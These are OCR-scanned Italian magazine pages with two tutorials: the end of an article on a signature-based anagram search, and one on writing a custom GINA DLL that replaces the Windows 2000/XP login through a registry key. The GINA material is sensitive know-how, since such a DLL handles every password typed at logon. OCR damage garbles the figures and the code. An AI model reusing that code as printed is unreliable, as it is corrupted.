stesso. Esperienza interessante è quella porta- 
ta avanti proprio da Giustozzi che man mano 
che scrive articoli alimenta un proprio dizio- 
nario. Mi chiedo se il mio dizionario a fronte 
di circa 250.000 parole scritte su questa rivista 
(se ho fatto bene i conti) sarebbe abbastanza ric- 
co di termini. Vi farò sapere. Ma torniamo al 
problema. Bisognerà poi produrre un'altra 
struttura che accoppierà ad ogni parola la sua 
firma, ordinandola per firme (come vedremo 
nei dettagli le prime due fasi si possono sinco- 
pare). Successivamente, è necessario collassare 
(accorpare) la struttura ottenuta sulle firme, te- 
nendo traccia ovviamente delle parole che cor- 
rispondono a firme uguali. Fatto ciò, qualora si 
voglia ricercare l'anagramma di un qualsiasi 
termine basterà calcolare la sua firma e ricer- 
carla nella struttura appena descritta e visualiz- 
zare in output tutte le parole legate a quella de- 
terminata firma. Tale metodo funziona nel caso 
più semplice per il quale si vuole anagrammare 
una singola parola con un'altra singola parola. 
Il caso più generale di anagramma multiparola 



Anagrammi 
nel vangelo 



AFT A/F *■ """ T * ^ ---•» 


/l-Ci-iiVI 


r lyii^M^tx r nil 


AEPR - 




> PERA > nil 






ALriVCJiv 


* GRANO * nil 






A1LUV 


> ULIVA r YIULA r nt l 










AUKS 


> ROSA > nil 


EFIOR ~ 




> FIORE > nil 







I r&\ Un esempio di 
l^^l uso retorico del- 
l'anagramma per dare 
più forza alla frase si 
ritrova anche nel van- 
gelo. Gesù ne fece 
uso, tra l'altro, quando 
per mostrare il com- 
portamento ipocrita 
dei Farisei disse: "Gui- 
de cieche! Voi scolate 
il moscerino è inghiot- 
tite il cammello! Guai 
a voi, Scribi e Farisei 
ipocriti, ..." (Matteo 
23, 24-25). L'ana- 
gramma si riscontra 
nella versione origina- 
le in aramaico in cui le 
parole moscerino e 
cammello, che quindi 
non sono state scelte 
a caso, si traducono in 
galma e gamia. 



Fig. 1: Come struttura dati si utilizza un vettore di 
liste. 
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Sul Web 



Il sito italiano di mag- 
giore interesse è svi- 
luppato dal citato Cor- 
rado Giustozzi. 
http://www.niqhtgaunt.org 
/anaqrams 
Dove troverete sia no- 
tizie e teorie sulla ana- 
grammatica e sia il 
motore anagramma- 
tico italiano. A livello 
planetario segnalo il 
sito: 
http://www.wordsmith. 
org/anagram 
Qui oltre ad un ampia 
sezione teorica rileve- 
rete (o rivelerete? 
boh) un potente moto- 
re di anagrammi che al 
link advanced fornisce 
utili funzioni aggiunti- 
ve. Innanzitutto, da la 
possibilità di scelta tra 
diverse lingue tra cui 
vi è anche l'italiano, 
inoltre, permette di 
includere ed escludere 
parole all'interno della 
frase anagrammata e 
di fissare il numero 
massimo di accezioni e 
il minimo di lettere per 
ogni parola della frase 
anagrammata (si fa ri- 
ferimento al caso più 
generale di anagram- 
ma multiparola). 
Molto interessante e 
"simpatico" è il sito: 
http://www.anagramgenius 
■com/server.html 
Qui sono già pronti 
anagrammi in lingua 
inglese, riferiti ovvia- 
mente agli USA. 



in cui l'origine è più in generale una parola, os- 
sia una frase (anche la semplice sequenza: nome, 
spazio, cognome), e l'anagramma può anche esse- 
re una frase, è un ampliamento del metodo ap- 
pena descritto. 

Ma adesso dedichiamoci al caso più semplice di 
anagramma di singola parola, aggiungendo uti- 
li tasselli allo sviluppo completo di un algorit- 
mo che risolva il problema. 

UNA STRUTTURA DATI 

La progettazione di una struttura dati efficace è 
una premessa indispensabile per il buon fun- 
zionamento dell'algoritmo. Dando per scontato 
che l'origine delle informazioni è un file, nel ca- 
so più generale di testo .txt, e che anche l'out- 
put, che può essere considerato il dizionario 
delle firme, la cui struttura sarà trattata solo 
brevemente per completezza di informazione, è 
un file, si tratta di studiare quale sia la migliore 
soluzione di memorizzazione dei dati nella 
RAM su cui implementeremo in nostri algorit- 
mi; ed ancora quali siano le migliori scelte per 
ottenere il dizionario delle firme a partire dal 
vocabolario. La variabile strutturata su memo- 
ria volatile dovrà soddisfare alcune esigenze: la 
possibilità di ordinamento per firma e l'associa- 
zione di una firma a più parole in modo effi- 
ciente. Un giusto compromesso che ha un ade- 
guato comportamento in tale situazione può ri- 
tenersi un array di liste, che presenti cioè nella 
generica cella del vettore una stringa pronta ad 
ospitare la firma e un puntatore ad una lista che 
contenga altre stringhe su cui far transitare gli 
anagrammi (parole che generano la corrispon- 
dente firma). Tale struttura è descritta in Fig. 1. 
Per ovvie ragioni di spazio il dizionario è al- 



quanto modesto. 

CONTINUANDO 
CON LO SVILUPPO 

Per la soluzione del problema si può pensare al- 
lo sviluppo di due separati programmi. Il primo 
per la produzione di un dizionario di anagram- 
mi sulla base di un dizionario in lingua (italia- 
na), il comune vocabolario. Il secondo program- 
ma invece, che presuppone il possesso di un di- 
zionario di firme, si occupa, a fronte dell'input 
di una parola da anagrammare, di individuare 
tutti i suoi anagrammi. Utilizzando il consoli- 
dato strumento: pseudocodice cominciamo con 
l'esaminare il primo dei due programmi: 

// Produzione dizionario firme-anagrammi 

scaricadizionario(sorgente, firme) 

ordina(firme) 

collassa(firme) 

carica(firme, destinata rio) 

La routine scaricadizionario si occupa di trasferi- 
re su di un vettore, così come descritto nel pa- 
ragrafo precedente, tutte le firme delle locuzio- 
ni del dizionario. Nel codice presentato il file è 
sorgente e il vettore è chiamato firme. Al termi- 
ne di tale procedura avremo un vettore a cui ad 
ogni cella è collegato esattamente un nodo. Nel- 
la cella è presente la firma e nel nodo appeso la 
parola che la produce. Calcolare la firma di una 
parola, prevede il semplice ordinamento della 
parola, che essendo una stringa si riduce ad una 
banale operazione. Il vettore ottenuto va ordi- 
nato per firma, in tal modo sarà più facile pro- 
cedere, ciò è svolto da ordina. La routine collassa 
accorpa tutte le celle che abbiano uguali firme. 



fiore 
grano 
mela 
oliva 
pera 
rosa 
viola 
Sorgente 









efior 




— ► fiore ► nil 


agnor 




— ► grano ► nil 


aelm 




— > mela ► nil 


ailov 




— ► oliva ► nil 


aepr 




— ► pera ► nil 


aors 




— ► rosa ► nil 


ailov 




— ► viola ► nil 


Fase 1 - Sca 


rie 


a dizionario 



aelm 


► mela 


>nil 


aepr 


► pera 


>nil 


agnor 


► grano 


>nil 


ailov 


► oliva 


>ml 


ailov 


► viola 


>nil 


aors 


► rosa 


>nil 


efior 


► fiore 


A — ► nil 



Fase 2 - Ordina 

aelm : mela 
aepr : pera 
agnor .-grano 
ailov : oliva 
ailov : viola 
aors : rosa 

efior .-fiore 

Destinazione 









>nil 

>nil 


aelm 


► mela 


>nil 


aepr 


► pera 


>ml 


agnor 


► grano 


>nil 


ailov 


► oliva 


► viola 


***** 


► viola 


>nil 


aors 


► rosa 


>nil 


efior 


► fiore 


>nil 








aelm 


► mela 


>nil 


aepr 


► pera 


>nil 


agnor 


► grano 


>nil 


ailov 


► oliva 


► viola 






aors 


► rosa 


>nil 








efior 


► fiore 


>nil 


Fase 3 - Collassa 



Fig. 2: Fasi di produzione dizionario firme. 
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In particolare, si scorrono per ogni singola fir- 
ma tutte le caselle del vettore con lo stesso va- 
lore di stringa, essendo una struttura ordinata 
per firma sarà sufficiente una scansione se- 
quenziale, dove ad ogni passo bisognerà ag- 
giungere (fare un append alla lista) la nuova 
parola che corrisponde alla corrente firma nella 
lista corrispondente alla prima delle firme 
uguali presenti nel vettore. Tutte le firme accor- 
pate alla prima della sequenza (tranne appunto 
la prima) verranno segnate con una stringa par- 
ticolare, ad esempio: '****'. Si ripeterà il proces- 
so per tutte le sequenze di firme uguali. Alla fi- 
ne di questa fase si potrà comodamente, con 
procedimento di complessità lineare, ovvero, 
con una sola scansione, ricopiare il vettore su 
un altro vettore avendo cura del fatto di igno- 
rare le stringhe marchiate. L'ultima delle proce- 
dure riporta la struttura prodotta su di un file 
di testo denominato destinatario. Rispettando 
semplici regole sintattiche, come la separazione 
di tutte le parole con virgola e la separazione 
tra firma e anagrammi con il simbolo due pun- 
ti ed ancora la separazione delle varie firme con 
un comando di fine linea, sarà più semplice sca- 
ricare all'occorrenza il dizionario delle firme su 
un vettore di liste (secondo programma). In Fig. 
2, sono riportati tutti i passi che conducono alla 
produzione del dizionario delle firme. Si noti 
come la terza fase produca l'esempio di Fig. 1. 
Un esempio con supporto grafico, a volte, è più 
esplicativo di pagine e pagine di spiegazione, 
per cui consiglio di esaminarlo a fondo. Da evi- 
denziare, inoltre, come il collassamento riduca 
la dimensione del vettore di partenza. Lo scar- 
no dizionario di esempio, utilizzato solo per 
motivi didattici e di spazio, produce la sola ri- 
duzione di un'unità del vettore, per la presenza 
nel dizionario iniziale di due soli anagrammi 
(viola- oliva). Nel caso più generale si ha un 
sensibile accorpamento con fattore di compres- 
sione tra il 15 e il 20. L'algoritmo usato ha il 
vantaggio di produrre una struttura ordinata 
che sarà molto comoda nella sezione successiva 
di ricerca dell'anagramma. Ovviamente, la pos- 
sibilità di poter usare la ricerca binaria ridurrà 
in maniera sostanziale la complessità. Le fasi di 
ordinamento e collassamento quindi, non pro- 
ducono tempi di esecuzione elevati, anzi sono 
n*log(n) il primo e addirittura lineare il secondo 
(come descritto in precedenza). Il secondo pro- 
gramma ha lo scopo di ricercare per una data 
parola il suo anagramma, esso può essere sinte- 
tizzato nel seguente modo: 

// Ricerca automatica di anagrammi 

scaricadizfirme(sorgfirme, firme) 

leggi(parola) 

anagramma(firme,parola) 



La prima procedura scaricadizfirme porta nel 
vettore firme il dizionario prodotto nel pro- 
gramma precedente, nel caso specifico sorgfir- 
me. Per intenderci è il file che prima era stato 
chiamato destinatario. Dopo aver letto la parola 
da anagrammare si lancia la procedura ana- 
gramma. Tale ruotine, di cruciale importanza, 
altro non è che una semplice ricerca binaria e la 
successiva scansione lineare della lista degli 
anagrammi. In conclusione, diciamo che la so- 
luzione proposta pur fornendo obiettivamente 
ottime prestazioni, può essere migliorata o può 
essere completamente stravolta a patto che ga- 
rantisca la stessa efficienza, io consiglio di lavo- 
rare lungo le linee tracciate in questo articolo. 
Problemi tecnici legati al linguaggio di pro- 
grammazione usato o all'insufficiente hardwa- 
re, potrebbero richiedere al programmatore di 
adottare diverse scelte. Quindi si potrebbe ren- 
dere necessario ad esempio, l'uso di una lista di 
lista anziché un vettore di lista o altre scelte che 
in questo momento non si possono prevedere. 
Ad ogni modo, la cosa che personalmente ri- 
tengo più importante è che sia riuscito (ed è 
quello che spero) a trasmettere il metodo da uti- 
lizzare per grandi linee e che le mie scelte, adot- 
tate nel particolare, possano essere di spunto 
per la produzione propria di un programma. 



CONCLUSIONI 

Procedendo a ritroso, come il salmone di cui so- 
pra (molto sopra, all'introduzione), volevo se- 
gnalare un altro riferimento tra i tanti che ho se- 
minato in queste pagine nella sezione di solu- 
zioni, nel quale partendo dalla mia tesi di lau- 
rea, evidenziavo la presenza di informazione 
nella semplice occorrenza delle singole lettere 
presenti in generici testi. In quella occasione, 
per gli amanti della storia ioProgrammo n. 24 
(quasi quattro anni fa), scrivevo come mediante 
tecniche di clustering si poteva procedere alla 
classificazione di autori e al susseguente rico- 
noscimento (assegnazione dell'autore) di opere 
antiche la cui paternità non era riscontrata. Un 
modo per estrarre in modo automatico (con 
programmi per computer) informazioni da 
semplici parole, anzi nel caso specifico da sem- 
plicissime lettere. Si trattava di un altro esem- 
pio di linguistica computazionale. Volevo infi- 
ne, ricordare agli affezionati lettori, che l'argo- 
mento "produzione e ricerca automatica di ana- 
grammi", ancora non è da ritenersi esaurito, vi 
è un interessante capitolo sugli anagrammi 
multiparola di cui vi ho solo dato un accenno. 
Quindi vi aspetto per un'altra puntata. 
Alla prossima! 

Fabio Grimaldi 
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Sistema 



File sul CD^S 

\soft\codice\gina.zip 



GINA 

j-& È la libreria usata 
■^ dagli sviluppatori 
che vogliono rimpiazza- 
re i componenti di Win- 
dows NT che realizzano 
le operazioni di identifi- 
cazione e autenticazione 
degli utenti. Il nome sta 
per Graphical Identifica- 
tion and Authentication 
e corrisponde ad una li- 
breria dinamica, invoca- 
ta da WINLOGON.EXE in 
fase di avvio del sistema 
operativo. La libreria 
predefinita distribuita 
da Microsoft nei sistemi 
operativi Windows 2000 
/XP è MSGINA.DLL, pre- 
sente nella cartella 
\WINDOWS\SYSTEM32. 
Il sito di riferimento per 
le tecnologie di autenti- 
cazione di Windows è: 

http://msdn.microsoft.com 
/libra ry/default.asp?url = 
/library/en-us/security 
/security/qina.asp 



Cambia 

PELLE AL LOGIN DI WINDOWS 



Viaggio nei meandri dei sistemi 

Windows 2000 e XP alla 

scoperta di "GINA" e dei segreti 

che reggono e governano 

l'accesso degli utenti al sistema 

operativo. 



Il componente di Windows 2000 e XP (in ge- 
nerale dei sistemi con kernel NT) che si 
preoccupa di fornire il supporto e le proce- 
dure per il login è conosciuto come Winlogon. 
Si tratta di un file eseguibile, presente nella 
\WINDOWS\SYSTEM32, che Microsoft ha pro- 
gettato in modo che alcune delle sue funziona- 
lità potessero essere sostituite dai programma- 
tori, permettendo così ai produttori indipen- 
denti di software di creare procedure di accesso 
personalizzate. 



Winlogon. ex e 



GINA 
DLL 



Network 

Provider 

DLL 



Network 
Provider 



J ^^ 1 



Fig. 1: Winlogon è stato progettato a livelli 
modo da consentire ai programmatori di 
rimpiazzare alcuni dei suoi moduli. 



Un'ottima scelta progettuale che gli sviluppatori di ca- 
sa Redmond hanno preso in considerazione in previ- 
sione degli sviluppi futuri di nuove periferiche di au- 
tenticazione come i lettori di smartcard, gli scanner di 
impronte digitali, i riconoscitori biometrici, ossia tutti 
quegli apparecchi che quanto prima sostituiranno la 
cara vecchia "password" digitata da tastiera. Il team 
di sviluppo di Windows ha così pensato di non pro- 
gettare Winlogon come un unico blocco di program- 
ma "monolitico", ma di realizzarlo a livelli, (Fig. 1) im- 
plementando le funzioni di identificazione e di auten- 
ticazione in un modulo a parte, separato dall'esegui- 
bile e quindi completamente rimpiazzabile. Per "mo- 
dulo separato" intendiamo una libreria dinamica 
(DLL) che nella fattispecie è conosciuta al mondo del- 
la programmazione col nome di GINA. Sotto questo 
nomignolo accattivante, si cela un lungo acronimo che 



sta per Graphical Identification and Authentication. Nien- 
te donne quindi! GINA è infatti il componente di Win- 
dows che implementa a basso livello le funzioni di au- 
tenticazione e che si preoccupa inoltre di gestire le 
operazioni di sessione come la disconnessione, il lock 
del computer, il ritorno dallo screensaver, lo shut- 
down. In questo articolo tratteremo dapprima il fun- 
zionamento di Winlogon e del sistema di autentica- 
zione di Windows, illustrandone il funzionamento 
concettuale e i dettagli di implementazione, e infine 
verrà presentato parte del codice di una DLL di au- 
tenticazione personalizzata, capace di rimpiazzare la 
libreria di Microsoft MSGINA.DLL, fornita per default 
con ogni installazione di Windows. I requisiti per la 
compilazione del progetto di GINA sono Visual Stu- 
dio o in alternativa Visual C++ comprensivo dell'uti- 
lity NMAKE (indispensabile per compilare i sorgenti). 

GLI STATI POSSIBILI 
DI UN LOGIN 

Per prima cosa spieghiamo quali sono i compiti adibi- 
ti a Winlogon e GINA, cercando di illustrare come 
questi due componenti interagiscano fra loro per rea- 
lizzare il complesso meccanismo di autenticazione di 
Windows. La gestione della sicurezza degli accessi di 
Windows 2000 /XP è una procedura abbastanza com- 
plessa, che non va pensata come una semplice finestra 
di richiesta password all'avvio, perché in questi casi 
bisogna fare i conti con problematiche come il blocco 
del sistema prima dell'autenticazione, l'avvio dei ser- 
vizi in modo indipendente, il caricamento dei profili 
personali dell'utente che effettua il login, la limitazio- 
ne delle risorse accessibili per ciascun utente. Micro- 
soft rappresenta il meccanismo di autenticazione con 
un automa a tre stati che modellano le possibili posi- 
zioni in cui può trovarsi un utente (disconnesso, connes- 
so o col computer bloccato), mentre le transizioni che per- 



/ Logged \ 




v 0ff A- 








n^Administrator Force 




i 


i 
Logoff 


^•■wLogoff 


Logon 








Y 


Workstation / Workstation \ 


/ \ Unlock 


^ \ Locked / 


/ Logged \ -^ ' 




l On jU^ - * 


Lock \~^ y / 




stati on 



Fig. 2: Automa a stati che modella l'evoluzione di 
una sessione di login di Windows. 
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mettono il passaggio da uno stato all'altro sono pro- 
prio le procedure implementate da Winlogon. 

WINLOGON CHIAMA, 
GINA RISPONDE 

Abbiamo visto ciò che avviene in una procedura d'ac- 
cesso e autenticazione ad "alto livello", ma come si 
comporta in realtà Windows? Studiando la cosa ad un 
livello più basso, ci si accorge che Winlogon non fa al- 
tro che definire e registrare una particolare classe mo- 
nitor chiamata "Logon Notify Windows". Questa classe 
è una finestra che si comporta da listener, cioè resta in 
ascolto dei messaggi del sistema e attende un messag- 
gio di tipo SAS (Secare Attention Sequence), cioè una 
particolare sequenza di eventi che individua la vo- 
lontà da parte di un utente di accedere al sistema ef- 
fettuando il login; nella fattispecie corrisponde alla 
pressione di CTRL+ALT+CANC, ma potrebbe essere 
anche l'inserimento di una smartcard neir apposito 
lettore o la lettura eseguita da un dispositivo biome- 
trico. Il caricamento della libreria GINA avviene pro- 
prio in questa fase: Winlogon per prima cosa effettua 
una chiamata alla GetProfileString per ricavare il nome 
della libreria di autenticazione predefinita del sistema. 
È proprio grazie a questo meccanismo - implementa- 
to da Microsoft - che è possibile sostituire e rimpiaz- 
zare GINA con una versione personalizzata: Winlo- 
gon infatti non conosce a priori la DLL da utilizzare, 
ma ne ricava il nome e la posizione tramite la chiave 
di registro GinaDLL localizzata in: 

HKLM\\Software\\Microsoft\\WindowsNT 

\\CurrentVersion\\Winlogon 

Si tratta di una chiave in formato stringa (da inserire 
manualmente nel registro) che punta alla libreria GI- 
NA personalizzata che si vuole utilizzare. Qualora 
questa chiave non esista o non sia stata specificata, 
Winlogon caricherà la libreria predefinita di sistema 
(MSGINA.DLL). È bene sottolineare un fatto molto im- 
portante: Fuso spropositato di questa chiave di regi- 
stro potrebbe causare il blocco della macchina in fase 
di avvio, proprio per il fatto che Winlogon non riesce 
ad accedere a GINA. Un ripristino per ovviare a que- 
sta situazione d'emergenza, da non escludere, è possi- 
bile solo tramite un riavvio in modalità provvisoria e 
mediante la cancellazione della chiave di registro in- 
consistente. Dopo aver localizzato la DLL giusta, Win- 
logon effettua una chiamata a LoadGinaDll per carica- 
re la libreria: se il nome non corrisponde a quella pre- 
definita (MSGINA.DLL), Winlogon usa la WlxNego- 
tiate e quindi la LoadLibraryW, che identifica i punta- 
tori delle funzioni esportate dalla libreria. Quando poi 
Winlogon riceverà la notifica di un evento di tipo SAS 
(che può avvenire anche ad opera di GINA tramite la 
WlxSasNotify), scatta il cambiamento di stato, per co- 
me descritto prima nell'automa e usando una delle se- 
guenti funzioni: 



WlxLoggedOnSas 



WlxLoggedOutSas 



WlxWkstaLockSas 

Infine, una volta avvenuta l'autenticazione, GINA 
provvede a fare il resto delle operazioni, caricando il 
profilo dell'utente dalla chiave di registro personale 
HKEY_LOCAL_USER e creando gli eventuali processi 
dell'utente con la funzione CreateProcessAslIser. 



DIALOG SERVICES: 

COMUNICAZIONI 

FRA WINLOGON E GINA 

La comunicazione tra Winlogon e GINA è quindi la 
parte cruciale del meccanismo di login di Windows: 
GINA non fa altro che rispondere alle chiamate di 
Winlogon e regola i passaggi da uno stato all'altro di 
una sessione. Viceversa si può dire anche che GINA ha 
bisogno di Winlogon, poiché esso fornisce una serie di 
dialog services utili per costruire e disegnare le fine- 
stre di dialogo (come quella di richiesta username e 
password); si tratta di servizi simili a quelli tradizio- 
nali per Win32, ma specializzati in questo caso per un 
utilizzo in fase di avvio: 



Funzione 


Descrizione 


WlxMessageBox 


Simile alla 
MessageBox 


WlxDialogBox 


Simile alla DialogBox 


WlxDialogBoxIndirect 


Simile alla 
DialogBoxIndirect 


WlxDialogBoxParam 


Simile alla 
DialogBoxParam 


WlxDialogBoxIndirectParam 


Simile alla 
DialogBoxIndirectParam 



Tab. 1: Dialog Services. 

Dopo l'accesso, GINA resta comunque "in ascolto" e 
può ricevere messaggi di tipo WLX_WM_SAS da 
Winlogon. Ciò avviene ad esempio quando capita 
nuovamente la pressione della combinazione CTRL + 
ALT + CANC o in caso di disconnessione dell'utente. 
Allo stesso modo, utilizzando uno scambio di mes- 
saggi WLX, viene anche gestito il time-out di sessione, 
procedura che ad esempio permette di attivare lo 
screen saver e la sua protezione quando il computer 
resta inutilizzato per un tot di tempo. In quest'ultimo 
caso si tratta di uno scambio di messaggi di tipo 
WLX_SAS_TYPE_SCRNSVR_ TIMEOUT, incapsulato 
all'interno di un normale WLX_WM_SAS. 
Lo schema di incapsulamento dei messaggi è il se- 
guente: 

• WLX_SAS_TYPE_TIMEOUT - È trascorso un in- 
tervallo di tempo (timeout) senza interazioni da 
parte dell'utente. 

• WLX_SAS_TYPE_CTRL_ALT_DEL - È stata in- 
tercettata la pressione di CTRL+ALT+CANC. 




Sistema 



Cambia 

pelle al Login 
di Windows 



Ripristinare la 
GINA originale 

/-& In caso di errori o 
^■J problemi di avvio 
dovuti alla libreria MYGI- 
NA.DLL è possibile ripri- 
stinare il computer riav- 
viando in modalità prov- 
visoria (premendo il ta- 
sto F8 in fase di avvio) e 
aprendo il registro di 
configurazione di Win- 
dows per rimuovere il va- 
lore GinaDLL inserito in 
HKLM\\Software\\Mi- 
crosoft\ \ WindowsNT\ \C 
urrentVersion \ \ Winlo- 
gon. Un'altra possibilità, 
valida solo per i sistemi 
FAT32, per risolvere il 
problema nei casi più 
estremi è quella di avvia- 
re tramite un disco di 
boot e di copiare nella 
\WINDOWS\SYSTEM32 il 
file MSGINA.DLL su MY- 
GINA.DLL, sovrascriven- 
dola. 
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Sistema 



Cambia 

pelle al Login 
di Windows 



Ó 



SMARTCARD 
e accesso 
Biometrico 

La possibilità di pro- 
grammare una pro- 
pria libreria di autentica- 
zione per rimpiazzare 
MSGINA.DLL è utile per 
quelle aziende che da 
tempo stanno sviluppan- 
do lettori di smartcard e 
sensori biometrici per le 
impronte digitali o il rico- 
noscimento vocale/fac- 
ciale. Implementare que- 
ste tecnologie con GINA 
è possibile ma richiede 
anche la conoscenza dei 
driver predisposti a que- 
ste funzioni. 



• WLX_SAS_TYPE_SCRNSVR_TIMEOUT - Il ti- 
meout dello screen-saver è scaduto, quindi verrà 
attivato; 

• WLX_SAS_TYPE_USER_LOGOFF - L'utente ha 
richiesto di disconnettersi. 



MYGINA.DLL 

Il progetto di una libreria di autenticazione persona- 
lizzata richiede la creazione di una DLL che rispetta gli 
schemi e i meccanismi finora descritti. Il progetto di 
MyGINA.DLL si articola in file differenti così definiti: 

• MYGINA.DEF - Indica le funzioni esportate dalla 
libreria. 

• MYGINA.H - Header file della DLL. 

• MYGINA.C - Codice sorgente della DLL (im- 
plementa le funzioni definite nel .DEF). 

• GINA_UTIL.C - Funzioni ausiliare usate da 
MYGINA.C. 

• MYGINA.DLG - Contiene le finestre di dialogo 
per il login, lo shutdown, il lock, ecc. 

• GINA_GUI.C - Gestione delle finestre di dialogo 
e dell'interfaccia grafica. 

• MAKEFILE - File per compilare il progetto. 

Dando una prima occhiata al file MYGINA.DEF, si 
possono subito vedere quali sono le definizioni di fun- 
zioni che la nostra libreria di login deve esportare: si 
tratta proprio di alcuni dei metodi illustrati prima nel 
discorso sull'interazione tra GINA e Winlogon. 

LIBRARY MYGINA 

EXPORTS 

WlxNegotiate 

Wlxlnitialize 

WIxDisplaySASNotice 

WlxLoggedOutSAS 

WIxActivateUserShell 

WlxLoggedOnSAS 

WIxDisplayLockedNotice 

WlxWkstaLockedSAS 

WIxIsLockOk 

WIxIsLogoffOk 

WlxLogoff 

WlxShutdown 

WlxScreenSaverNotify 

WlxStartApplication 



Una qualsiasi libreria di autenticazione personalizzata 
deve necessariamente esportare e implementare que- 
ste funzioni. Il file header del progetto contiene invece 



le definizioni di alcune costanti che si riferiscono alle 
finestre di dialogo e all'interfaccia grafica della libre- 
ria, più i prototipi delle funzioni implementate nei file 
GINAJ1TIL.C e GINA_GUI.C. 

Il MyGINA.H 

// Definizioni costanti del registro di configurazione 

#define CHIAVEREG_WIN LOGON TEXT(" Software 

\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon") 

#define CHIAVEREG_GINADLL TEXT("GinaDLL") 

// Definizioni costanti delle finestre di dialogo 



#define DIALOG WELCOME 



1000 



#define DIALOG LOCK 



1100 



#define DIALOG UNLOCK 



1400 



#define DIALOG SESSION 



1200 



#define DIALOG LOGON 



1300 



// Definizioni IP pulsanti 



#define ID_LOGOFF 



1500 



#define ID LOCK 



1501 



#define ID SHUTDOWN 



1502 



#define ID RESTART 



1503 



#define ID USERNAME 



1504 



#define ID_PASSWORD 



1505 



#define ID DOMAIN 



1506 



// Struttura dati MYGINA_CONTEXT e relativo puntatore 
// contiene le informazioni significative di una sessione 
// utente (username, password, dominio, usertoken, 

authid, ecc.) 

typedef struct _AGENA_CONTEXT { 

PWLX_DISPATCH_VERSION_l_l WlxFunctions; 

HANDLE hWlx; 

HANDLE hLSA; 

HANDLE hUserToken; 

PSID pSid; 

LUID AuthlD; 

WCHAR UserName[MAX_PATH]; 

WCHAR Password[MAX_PATH]; 

WCHAR Domain[MAX_PATH]; 

} MYGINA_CONTEXT, *PMYGINA_CONTEXT; 

// Prototipi delle funzioni 

int CALLBACK WelcomeDlgProc(HWND, UINT, WPARAM, 

LPARAM); 

int CALLBACK LogonDlgProc(HWND, UINT, WPARAM, 

LPARAM); 

int CALLBACK SessionDlgProc(HWND, UINT, WPARAM, 

LPARAM); 

int CALLBACK UnlockDlgProc(HWND, UINT, WPARAM, 

LPARAM); 

BOOL MyGinaLogonUser(PMYGINA_CONTEXT); 

BOOL MyGinaUninstall(void); 



PWSTR AllocString(PWSTR); 

Altra particolarità dell'header file è la definizione di 
una struct MYGINA_CONTEXT che contiene i dati si- 
gnificativi di una sessione come Username, Password, 
Dominio, Token, AuthlD, ecc. 

Le finestre di dialogo definite nell'header file, sono im- 
plementate dal file MYGINA.DLG che può essere 
aperto e visionato con un qualsiasi editor di testo; ad 



18 ►►► G e 



2 



http://www.itportal.it 



Usename : I eflorio 
Password : I Windows 
Dominio : 



OK 
Spegni 



Annulla 






Fig. 3: Ecco come appare la nostra finestra di login 
dopo aver installato MYGINA.DLL nel sistema 

esempio la finestra iniziale (Fig. 3) di login è così defi- 
nita: 

FILE MYGINA.DLG 

DIALOGJ-OGON DIALOG 29, 22, 146, 107 

STYLE DS_MODALFRAME | WS_POPUP | WS_VISIBLE | 

WS_CAPTION|WS_SYSMENU 

CAPTION "Login" 

FONT 8, "Arial" 



BEGIN 



LTEXT 



"Usename 



LTEXT 



"Password 



-1, 10, 25, 39, 



LTEXT 



"Dominio 



-1, 10, 41, 39, 8 



EDITTEXT IDJJSERNAME, 56, 8, 78, 12, 

ES_AUTOHSCROLL 

EDITTEXT ID_PASSWORD, 56, 24, 78, 12, 

ES_AUTOHSCROLL 

EDITTEXT ID_DOMAIN, 56, 40, 78, 12, 

ES_AUTOHSCROLL 

PUSHBUTTON "OK", IDOK, 39, 66, 46, 14 

PUSHBUTTON "Annulla", IDCANCEL, 88, 66, 46, 14 
PUSHBUTTON "Spegni", ID_SHUTDOWN, 39, 83, 46, 14 
PUSHBUTTON "Riavvia", ID RESTART, 88, 83, 46, 14 



END 



Discorso simile si può fare per tutte le altre finestre 
(Fig. 4) (LOCK, UNLOCK, SESSION, WELCOME), che 
non verranno quindi descritte nei dettagli. 









Opzioni Sessione 








Disconnetti 






Spegni e Riavvia 








Spegni 




Blocca Computer 


Annulla 










^^M 



Fig. 4: GINA non dorme mai ed è pronta ad 
attivarsi ali pressione di CTRL+ALT+CANC. 



ATTIVAZIONE 

E DISCONNESSIONE 

DI UN UTENTE 

Come abbiamo detto, il codice C++ in MYGINA.C im- 
plementa tutte le funzioni richieste da Winlogon, ca- 
ratterizzate dal suffisso Wlx e che realizzano i passag- 
gi di stato di una sessione. Prendiamo come esempio 
la funzione invocata all'atto del login, cioè la WlxActi- 
vatellser Shell, che riceve come parametri un eventuale 
script da eseguire all'avvio della shell (pszMprLogon- 
Script), le variabili di ambiente (pEnvironment), il De- 
sktop (pszDesktop) e un contesto per come definito nel- 
la struct precedente. 

BOOL WINAPI WlxActivateUserShell(PVOID 

pWlxContext, PWSTR pszDesktop, 

PWSTR pszMprLogonScript, PVOID pEnvironment) 

A 

WCHAR sz!nit[MAX_PATH]; 



PWSTR pszTitle; 



STARTUPINFO startuplnfo; 



PROCESS_INFORMATION pi; 



DWORD 



count = 0; 



p = (PMYGINA_CONTEXT)pWlxContext; 

GetProfileString(TEXT("Winlogon"), TEXT("Userinit"), 

TEXTfUsehnit.exe"), szlnit, MAX_PATH); 

pszTitle = wcstok(sz!nit, TEXT(",")); 

while (pszTitle) 

_I 

memset(&startupInfo, 0, sizeof( startuplnfo)); 
startuplnfo.cb = sizeof(STARTUPINFO); 



startupInfo.IpTitle = pszTitle; 



startupInfo.dwX = startupInfo.dwY = QL; 

startupInfo.dwXSize = startupInfo.dwYSize = 0L; 



startupInfo.dwFlags = 0; 



startupInfo.wShowWindow = SW_SHOW; 



startup!nfo.lpReserved2 = NULL; 



startupInfo.cbReserved2 = 0; 



startuplnfo. IpDesktop = pszDesktop; 

ImpersonateLoggedOnUser(p->hUserToken); 
if (CreateProcessAsllser(p->hUserToken, NULL, 
pszTitle, NULL, NULL, FALSE, 
CREATE_UNICODE_ENVIRONMENT, 
pEnvironment, NULL, &startup!nfo, &pi)) 



< 


count++; 


CloseHandle(pi.hProcess); 


CloseHandle(pi.hThread); 


> 


RevertToSelfQ; 


pszTitle = wcstok(NULL, TEXTf 


")); 


> 


return(count > 0); 


} 



Il codice della funzione fa uso della GetProfileString, 
che accede al registro per caricare l'unità predisposta 
all'attivazione del contesto utente (USERINIT.EXE), e 
successivamente utilizza le chiamate ImpersonateLog- 




Sistema 



Cambia 

pelle al Login 
di Windows 



MSGINA 

/-& Alcune funzionalità 
-J di MSGINA, la libre- 
ria di autenticazione 
standard di Microsoft, 
consistono nella possibi- 
lità di personalizzare le 
procedure di accesso 
usando alcune chiavi di 
registro localizzate sem- 
